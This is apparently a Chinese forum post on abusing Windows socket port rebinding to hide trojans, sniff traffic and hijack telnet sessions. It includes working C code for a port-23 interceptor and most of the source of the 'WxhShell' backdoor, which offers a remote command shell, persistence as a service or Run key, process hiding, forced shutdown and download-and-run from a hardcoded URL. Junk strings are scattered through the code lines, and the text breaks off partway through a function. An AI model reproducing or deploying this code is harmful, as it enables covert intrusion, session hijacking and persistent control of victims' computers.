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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qJJ~#W)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =(as{,j  
lT- LOu|  
  saddr.sin_family = AF_INET; !-|{B3"6  
fJOA5(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &n2dL->*#  
R`>z>!)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }woNI  
.5YW >PV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {# TZFB  
X2C&q$8  
  这意味着什么?意味着可以进行如下的攻击: g5hMZPOmP  
K2oyHw<mk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s#C~HK  
05[k@f$n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FP h1}qS  
wb (quu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k9o LJ<.k  
e_t""h4D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  af;~<o a  
y(Ck j"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p V`)  
%b3s|o3An  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JQ"w{O  
+FlO_=Bu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S5xum_Dq  
k|F TT  
  #include  <sC.  
  #include UN Kr FYl  
  #include :x@j)&  
  #include    0%GQXiy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rh 7%<xb>  
  int main() qHra9yuSh  
  { D eM/B5qw  
  WORD wVersionRequested; %Ig3udcY?  
  DWORD ret; IO]%AL(.;  
  WSADATA wsaData; 5"I8ric  
  BOOL val; /.%AE|0+X  
  SOCKADDR_IN saddr; tU >?j1  
  SOCKADDR_IN scaddr; _';oT*#  
  int err; ,e5#wz  
  SOCKET s; ! p|d[  
  SOCKET sc; md`"zV  
  int caddsize; gKWsmx!["  
  HANDLE mt; OykYXFv*  
  DWORD tid;   3=xN)j#B  
  wVersionRequested = MAKEWORD( 2, 2 ); >]S-a-|Bp  
  err = WSAStartup( wVersionRequested, &wsaData ); _ -C{:rV  
  if ( err != 0 ) { Jde@T h  
  printf("error!WSAStartup failed!\n"); K&>+<bJ_  
  return -1; }  cQ` L  
  } _h8|shyP  
  saddr.sin_family = AF_INET; ]Geg;[ t  
   @Xj6h!"R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x72T5.  
$@Kwsoh'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W]= $0'  
  saddr.sin_port = htons(23); Y>2kOE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yl0_?.1 z  
  { F{"4cyoou  
  printf("error!socket failed!\n"); "$rmy>d  
  return -1; <WRrB `nO  
  } 5Cjh%rj(jl  
  val = TRUE; >7I"_#x1:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A/w7 (  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y ZR\(\?<  
  { wwD?i.3  
  printf("error!setsockopt failed!\n"); Y5?OJO{h"  
  return -1; LyWgaf#/d  
  } 2qxede  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {m7>9{`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "`&1"*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9s@$P7N5B  
.sR=Mf7T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Tkf JC|6  
  { k@/s-^ry3  
  ret=GetLastError(); |w w@V<'/#  
  printf("error!bind failed!\n"); 1a>TJdoa  
  return -1; (,!G$~Sy  
  } vv5 uU8  
  listen(s,2); y=spD^tM8  
  while(1) 1^_V8dm)  
  { yV/A%y-P  
  caddsize = sizeof(scaddr); C)xM>M_CB  
  //接受连接请求 [/IN820t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yEB1gYJB  
  if(sc!=INVALID_SOCKET) + tza]r:  
  { }SZU'lYHoM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c6_i~0W56  
  if(mt==NULL) IFfB3{J  
  { U+wfq%Fz  
  printf("Thread Creat Failed!\n"); a1yGgT a?D  
  break; }10ZPaHjl+  
  } 0$A7"^]  
  } %RX}sS  
  CloseHandle(mt); ?'I pR  
  } n+9rx]W,  
  closesocket(s); -K*&I!  
  WSACleanup(); !au%D?w  
  return 0; N497"H</  
  }   I` +%ab  
  DWORD WINAPI ClientThread(LPVOID lpParam) qGrUS_~q*  
  { s%l`XW;v  
  SOCKET ss = (SOCKET)lpParam; LOf)D7T  
  SOCKET sc; _q<Ke/  
  unsigned char buf[4096]; $:D-dUr1  
  SOCKADDR_IN saddr; rI.CCPY~s  
  long num; g:]X '%Ub  
  DWORD val; N^;rLrm*  
  DWORD ret; " }oH3L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =LHz[dSL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,3~[cE<4  
  saddr.sin_family = AF_INET; ?|,-Bft3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~![J~CkPS  
  saddr.sin_port = htons(23); FvVR \a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N~t4qlC/  
  { '&42E[0P  
  printf("error!socket failed!\n"); 8^>qzaf 8  
  return -1; ,ctm;T1H+  
  } {RPZq2Tpc  
  val = 100; !aQQq[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X8Y)5,`s  
  { ! uX0G4  
  ret = GetLastError(); .Qz412  
  return -1; Wd<|DmSy  
  } 5,Hj$v7fe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >IFqwh7b  
  { :7Jpt3  
  ret = GetLastError(); D,sb {N  
  return -1; kK&M>)&o#  
  } "-afHXED  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (HD8Mm  
  { uXkc07 r'  
  printf("error!socket connect failed!\n"); F\IJim-Rh  
  closesocket(sc); hF;TX.Y6  
  closesocket(ss); 49d02AU%  
  return -1; Tw0GG8(c  
  } 9XEP:}5,  
  while(1) bji^b@ us_  
  {  8PXjdHR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3]cW08"c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OuuN~yC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #[$zbZ(I>:  
  num = recv(ss,buf,4096,0); dJ&f +  
  if(num>0) Ka+N5 T.f  
  send(sc,buf,num,0); [B+]F~}@  
  else if(num==0) eb#p-=^KP  
  break; ]**h`9MF  
  num = recv(sc,buf,4096,0); yh:Wg$qx  
  if(num>0) SQ0?M\D7  
  send(ss,buf,num,0); }K'gjs/N;  
  else if(num==0) |rr<4>)X  
  break; %]1.)j  
  } vtu!* 7m  
  closesocket(ss); Y6w7sr_R  
  closesocket(sc); ])tUXU>  
  return 0 ; n3B#M}R  
  } CD:$22*]  
v{c,>]@  
3[;fO_R  
========================================================== ScCA8JgY  
poU1Q#+4p*  
下边附上一个代码,,WXhSHELL V''?kVJ  
DqN<bu2  
========================================================== c]]e(  
r~q 3nIe/,  
#include "stdafx.h" -.!+i8d>  
:pXY/Pa  
#include <stdio.h> KMll8X  
#include <string.h> MR3\7D+9y  
#include <windows.h> Y6:b  
#include <winsock2.h> 3$f+3/l  
#include <winsvc.h> $rV4JROb  
#include <urlmon.h> pr?k~Bn  
>_'0 s  
#pragma comment (lib, "Ws2_32.lib") I3,0vnE@  
#pragma comment (lib, "urlmon.lib") LTlbrB  
r<9G}9  
#define MAX_USER   100 // 最大客户端连接数 8_:j.(n  
#define BUF_SOCK   200 // sock buffer =V>inH  
#define KEY_BUFF   255 // 输入 buffer )&vuT q'7'  
Hzc5BC  
#define REBOOT     0   // 重启 6tZ ak1=V  
#define SHUTDOWN   1   // 关机 GJTakhj3  
`W9~u: F  
#define DEF_PORT   5000 // 监听端口 aGbHDo  
!))!! {  
#define REG_LEN     16   // 注册表键长度 Hn sPXF'8g  
#define SVC_LEN     80   // NT服务名长度 ;>*Pwz`~jT  
,Z$!:U  
// 从dll定义API W87kE?,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =)YDjd_=z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FaQz03N\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z0T9tN!(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E]dc4US  
0T2^$^g  
// wxhshell配置信息 K3xt,g  
struct WSCFG { w:nLm,  
  int ws_port;         // 监听端口 FxdWJ|rN9D  
  char ws_passstr[REG_LEN]; // 口令 :`B70D8ku  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^ /ZNdwx  
  char ws_regname[REG_LEN]; // 注册表键名 t>}(` 0  
  char ws_svcname[REG_LEN]; // 服务名 VOGx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vw w>]Z}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zdy{e|-Zn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -Dy":/Bk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +F]=Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >qS2ha  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Plj>+XRO  
Fk`|?pQm  
}; a3J' c  
Nh[H[1"J  
// default Wxhshell configuration C Ef*:kr  
struct WSCFG wscfg={DEF_PORT, l1%ubu  
    "xuhuanlingzhe", MGLcM&oR  
    1, kca#ssN  
    "Wxhshell", /*e6('9s  
    "Wxhshell", ~?z u5,vb  
            "WxhShell Service", "@YtxYTW-  
    "Wrsky Windows CmdShell Service", tSVU,m  
    "Please Input Your Password: ", ^H`4BWc  
  1, 4L/nEZ!Nsu  
  "http://www.wrsky.com/wxhshell.exe", $[0\Th  
  "Wxhshell.exe" 66{Dyn7J~  
    }; Ia j`u  
4 z^7T  
// 消息定义模块 oer3DD(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^Eif~v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; te;VGpv.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :_[pZ;-@  
char *msg_ws_ext="\n\rExit."; y*e({fio_  
char *msg_ws_end="\n\rQuit."; U etI 4`  
char *msg_ws_boot="\n\rReboot..."; )nlFyWXh.  
char *msg_ws_poff="\n\rShutdown..."; hMyN$7Z  
char *msg_ws_down="\n\rSave to "; #ON^6f2  
VQ;'SY:`  
char *msg_ws_err="\n\rErr!"; !>\g[C  
char *msg_ws_ok="\n\rOK!"; Q9k;PJ`@  
^VsE2CX  
char ExeFile[MAX_PATH]; WDJ rN  
int nUser = 0; 4}-G<7*  
HANDLE handles[MAX_USER]; m:Fdgu9  
int OsIsNt; lUIh0%O  
:Z.P0=  
SERVICE_STATUS       serviceStatus; R>hL.+l.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k>F>y|m  
\3T[Cy|5|  
// 函数声明 /^$n&gI  
int Install(void); PQ2rNY6  
int Uninstall(void); a y$CUw  
int DownloadFile(char *sURL, SOCKET wsh); bFVY&  
int Boot(int flag); qRL45[ K  
void HideProc(void); Ac'pu,v  
int GetOsVer(void); -oi@1g @  
int Wxhshell(SOCKET wsl); ,z~"Mst  
void TalkWithClient(void *cs); =g|5VXW5  
int CmdShell(SOCKET sock); !NMiWG4R  
int StartFromService(void); S2 MJb  
int StartWxhshell(LPSTR lpCmdLine); z\-/R9E/5-  
i,2eoM)FB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3LZvlcLb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); { g4`>^;  
9B/iQCFtj$  
// 数据结构和表定义 q;.LK8M  
SERVICE_TABLE_ENTRY DispatchTable[] = 45H9pY w  
{ JC# 5CCz  
{wscfg.ws_svcname, NTServiceMain}, =w7+Yt  
{NULL, NULL} lE$(*1H  
}; [I gqK5@  
wW7#M  
// 自我安装 hjz`0AS  
int Install(void) p\Fxt1Y@X  
{ 3Xm> 3  
  char svExeFile[MAX_PATH]; UAGh2?q2  
  HKEY key; ;Irn{O  
  strcpy(svExeFile,ExeFile); @M6F?;  
O*yA50Cn  
// 如果是win9x系统,修改注册表设为自启动 h0")NBRV&  
if(!OsIsNt) { Ro=dgQ0:t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,I H~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \46*4?pP  
  RegCloseKey(key); W4(GI]`_+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~-UO^$M-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h:i FLSf  
  RegCloseKey(key); /4;Sxx-  
  return 0; ji<(}d~L*  
    } :mhO/Bx  
  } =s9*=5r8  
} sF3@7~m4  
else { e.W<pI,  
T(Ji%S >  
// 如果是NT以上系统,安装为系统服务 -/:K.SY,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QZJnb%]  
if (schSCManager!=0) KE-0/m4yJ  
{ )hC3'B/[Y  
  SC_HANDLE schService = CreateService & jm1  
  ( mV+9*or  
  schSCManager, lUdk^7:M  
  wscfg.ws_svcname, v8zOY#?  
  wscfg.ws_svcdisp, ^%0^DN  
  SERVICE_ALL_ACCESS, VO~%O.>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q2/kegAT  
  SERVICE_AUTO_START, }*S`1IWMj  
  SERVICE_ERROR_NORMAL, c]"w0a-`^@  
  svExeFile, j /@<=  
  NULL, (gIFuOGi>  
  NULL, ;*hVAxs1  
  NULL, jhJ<JDJ?`  
  NULL, -/Zy{2 <u  
  NULL O;|jLf_If  
  ); a:;7'w'  
  if (schService!=0) 'K\H$<CJ  
  { g_rk_4]  
  CloseServiceHandle(schService); (\nEU! Y  
  CloseServiceHandle(schSCManager); pG22Nx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JvNd'u)Z<  
  strcat(svExeFile,wscfg.ws_svcname); 3p]\l ]=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /qFY $vj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p)VMYu  
  RegCloseKey(key); E{}J-_oS45  
  return 0; ^Jw=5 ImG  
    } r;p@T8k  
  } o#WECs>  
  CloseServiceHandle(schSCManager); (M<l}pl)  
} gf}*}8D  
} ;@ G^eQ  
MI-S}Qoe  
return 1; WVz2 bzj  
} N`4XlD  
}2S)CL=  
// 自我卸载 D5:|CMQ  
int Uninstall(void) vy` lfbX@  
{ ev4_}!  
  HKEY key; Nw(hN+_u  
j& ykce  
if(!OsIsNt) { gyegdky3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }R%*J  
  RegDeleteValue(key,wscfg.ws_regname); bYqv)_8  
  RegCloseKey(key); \UX9[5|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o ZQ@Yu3  
  RegDeleteValue(key,wscfg.ws_regname); ` TH\0/eE  
  RegCloseKey(key); .jiJgUa7  
  return 0; Db  !8N  
  } fs-LaV 0  
}  \< dg  
} 7{7Y[F0  
else { sLFZ 61rT  
6uKP BL@,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vif)g6,  
if (schSCManager!=0) j\zlp  
{ u /DE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dp&G([  
  if (schService!=0) 5Ar gM%  
  { m*YfbOhs#  
  if(DeleteService(schService)!=0) { HF"TS*  
  CloseServiceHandle(schService); o7WAH@g  
  CloseServiceHandle(schSCManager); 1Kr$JIcd  
  return 0; SlHDBr!.z  
  } f=VlO d  
  CloseServiceHandle(schService); =f [/Pv  
  } C`.eJF  
  CloseServiceHandle(schSCManager); [zXC\)&!  
} 7U?#Xi5  
} +6$ -"lf  
d R=0K  
return 1; Lusd kc7  
} #XB3Wden2  
l9OpaOVfJ  
// 从指定url下载文件 LI&E.(:  
int DownloadFile(char *sURL, SOCKET wsh) bsr]Z&9rrk  
{ ;#S]mso1  
  HRESULT hr; pLCS\AUTsv  
char seps[]= "/"; 0 f$96sl  
char *token; nRu %0Op  
char *file; 5j$&Zgx51  
char myURL[MAX_PATH]; uK`gveY  
char myFILE[MAX_PATH]; `#wEa'v6  
7Z~JuTIZ  
strcpy(myURL,sURL); .MRN)p  
  token=strtok(myURL,seps); |=0w_)Fa]  
  while(token!=NULL) Q672iR\#)  
  { N)Q.P'`N  
    file=token; HFTeG4R  
  token=strtok(NULL,seps); qY'+@^<U;  
  } 1]5k l J  
hN~H8.g  
GetCurrentDirectory(MAX_PATH,myFILE); GDe,n  
strcat(myFILE, "\\");  8y  
strcat(myFILE, file); ^Ifm1$X}  
  send(wsh,myFILE,strlen(myFILE),0); 9<toDg_  
send(wsh,"...",3,0); K*2s-,b *  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &|}QdbW  
  if(hr==S_OK) X }i2qv  
return 0; Z 4i5,f  
else qg1\ABH  
return 1; , V,Q(!$F  
!g6=/9  
} zPybP E8  
0^nF : F  
// 系统电源模块 uDkX{<_Xe  
int Boot(int flag) O cPgw/ I  
{ 7FyE?  
  HANDLE hToken; bZ:+q1 D  
  TOKEN_PRIVILEGES tkp; reArXmU<u  
tU2#Z=a  
  if(OsIsNt) { vnVT0)Lel  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4)k-gKS*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )8rF'pxI  
    tkp.PrivilegeCount = 1; gq 3|vzNZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]+m 2pEO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dlCiqY: }  
if(flag==REBOOT) { hcRe,}wJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I= <eCv  
  return 0; Ayg^<)JWh  
} qm_m8   
else { WFV'^-4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X$1YvYsID  
  return 0; .{ljhE:  
} 7RBEEE`)  
  } j<~T:Tk  
  else { #.*&#w)  
if(flag==REBOOT) { H~vrCi~t"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %HtgZeY  
  return 0; ezY^T  
} );JWrkpz  
else { |ka/5o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) na8`V`77  
  return 0; |39,n~"o&  
} l4U*Lv>   
} L[ D+=  
uKXD(lzX  
return 1; 9_jiUZFje  
} 5Rs#{9YE  
{5{VGAD&]>  
// win9x进程隐藏模块 JrLh=0i9  
void HideProc(void) ~CV.Ci.dG  
{ v{ohrpb0v  
sF[gjeIb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y Z8[h`z  
  if ( hKernel != NULL ) |?{V-L  
  { ^M q@} 0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MI(#~\Y~P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gds(.]_  
    FreeLibrary(hKernel); 6s~B2t:Y  
  } VY8cy2  
l-v m`-_#  
return; uI?Z_  
} zng.(]U/?H  
g~.#.S ds  
// 获取操作系统版本 ~@l4T_,k  
int GetOsVer(void) ,K\7y2/  
{ u<fZ.1  
  OSVERSIONINFO winfo; Z#N w[>NN*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]4[%Sv6]G  
  GetVersionEx(&winfo); D^m2iW;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NNqvjM-  
  return 1; Cx/J_Ro#  
  else T"za|Fo  
  return 0; X-<,zRM  
} "p;tj74O9  
w5PscEc  
// 客户端句柄模块 $<2d|;7r  
int Wxhshell(SOCKET wsl) 1~~GF_l?  
{ pQ0*)}l,  
  SOCKET wsh; .|go$}Fk  
  struct sockaddr_in client; 0wVM% Dng  
  DWORD myID; ?uL-qsU  
~!5Qb{^  
  while(nUser<MAX_USER)  \SQ4yc  
{ jR[c3EA ;  
  int nSize=sizeof(client); :*]#n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 80Fa i  
  if(wsh==INVALID_SOCKET) return 1; >}~[ew  
Hqs-q4G$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G[ #R1'  
if(handles[nUser]==0) hLZf A rq}  
  closesocket(wsh); l\V1c90m  
else 8[X"XThj  
  nUser++; N]/cBGy  
  } ;4b=/1M'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \ Xh C  
0<@['W}G  
  return 0; zT&"rcT">  
} }2RbX,0l9  
nF]R "  
// 关闭 socket d{NMG)`x\  
void CloseIt(SOCKET wsh) mCg^Y)Q  
{ Nk\ni>Du3  
closesocket(wsh); GEVDXx>@  
nUser--; Y(1?uVYW\d  
ExitThread(0); oVHe<zE.  
} 6U8esPs,  
0Mn |Yb4p  
// 客户端请求句柄 j?o6>j  
void TalkWithClient(void *cs) hV,T889'  
{ Fyw X  
iVeH\a  
  SOCKET wsh=(SOCKET)cs; 9"S iHp\)  
  char pwd[SVC_LEN]; :qj^RcmVPL  
  char cmd[KEY_BUFF]; nxuH22:  
char chr[1]; v+g:0 C5 (  
int i,j; \l3z <\  
N3#^Ifn[  
  while (nUser < MAX_USER) { -UidU+ES;  
(:E@kpK  
if(wscfg.ws_passstr) { @,,G]4zZ!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (c}!gjm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "eTALRL'o  
  //ZeroMemory(pwd,KEY_BUFF); (m! kg  
      i=0; ;?iu@h  
  while(i<SVC_LEN) { a;; Es  
lAo~w  
  // 设置超时 aLW3Ub{h  
  fd_set FdRead; 6l4=  
  struct timeval TimeOut; PY '^:0  
  FD_ZERO(&FdRead); 5$:9nPAH  
  FD_SET(wsh,&FdRead); `q^qe>'  
  TimeOut.tv_sec=8; f0^s<:*  
  TimeOut.tv_usec=0; W)f=\.7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q{=r9&&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sx7zRw >X  
I<<1mEk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mc2uI-W  
  pwd=chr[0]; t~ I;IB  
  if(chr[0]==0xd || chr[0]==0xa) { cQd?,B3#F  
  pwd=0; zXlerQWUv  
  break; b[:m[^  
  } =6\^F i  
  i++; 6Ktq7'Z@  
    } `mD!z.`U  
6/g 82kqpk  
  // 如果是非法用户,关闭 socket Z 369<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K9}Brhe  
} ] FvGAG.*  
9o?\*{'KT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cotySio$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AG%[?1IXW  
;C1#[U1Uy  
while(1) { iYYuZ.  
RTg\c[=w  
  ZeroMemory(cmd,KEY_BUFF); K3=0D!Dq  
=tA;JB  
      // 自动支持客户端 telnet标准   8[AU`F8W  
  j=0; s%vy^x29  
  while(j<KEY_BUFF) { _ 3>E+9TQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9qGba=}Ey  
  cmd[j]=chr[0]; 16@<G  
  if(chr[0]==0xa || chr[0]==0xd) { ZO<\rX (  
  cmd[j]=0; >y#qn9rV1  
  break; =\5f_g2M  
  } 5"1wz  
  j++; RZnmia  
    } 87S,6Y  
%Q}(.h%M  
  // 下载文件 y.8nzlkE{  
  if(strstr(cmd,"http://")) { e_!Z-#\J%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 726UO#*  
  if(DownloadFile(cmd,wsh)) Rq?t=7fX)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hG<[F@d  
  else K(lVAKiP]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?< yYm;B  
  } XMP4YWuVc  
  else { wm ?%&V/#  
k5Q1.;fW76  
    switch(cmd[0]) { _):@C:6  
  S fY9PNck\  
  // 帮助 >mMfZvxl%  
  case '?': { K/}x'*=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L0=`1q  
    break; *h).V&::O  
  } QKVOc,Fp7i  
  // 安装 't*]6^  
  case 'i': { 8D?$@!-  
    if(Install()) :mLXB75gH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S&[9Vb  
    else glROT@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ij3W8i9'  
    break; z`Nss o=  
    } $II ~tO  
  // 卸载 )~nieQEZQ  
  case 'r': { {wz_ngQ  
    if(Uninstall()) EDnZ/)6Gg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fF#Fc&B  
    else ;GOu'34j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [C;Neslo  
    break; XUUP#<,s  
    } i<tJG{A=  
  // 显示 wxhshell 所在路径 !SnLvW89Z  
  case 'p': { '<ZHzDW@  
    char svExeFile[MAX_PATH]; kou7_4oS  
    strcpy(svExeFile,"\n\r"); 8s[1-l  
      strcat(svExeFile,ExeFile); -lv(@7o~  
        send(wsh,svExeFile,strlen(svExeFile),0); jpW_q+^?  
    break; cuy9QBB :  
    } bBo>Y7%  
  // 重启 BOy&3.h5?  
  case 'b': { ;qWSfCt/^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "VoufXM:  
    if(Boot(REBOOT)) ;g2UIb?{6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +7_U( |gO  
    else { 0fUsERr1*  
    closesocket(wsh); &U}8@;  
    ExitThread(0); W|n$H`;R  
    } w?N>3`Jnf  
    break; ,PJC FQMR  
    } )4:]gx#cr  
  // 关机 <1* \ ~CX  
  case 'd': { R4k+.hR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [)0^*A2  
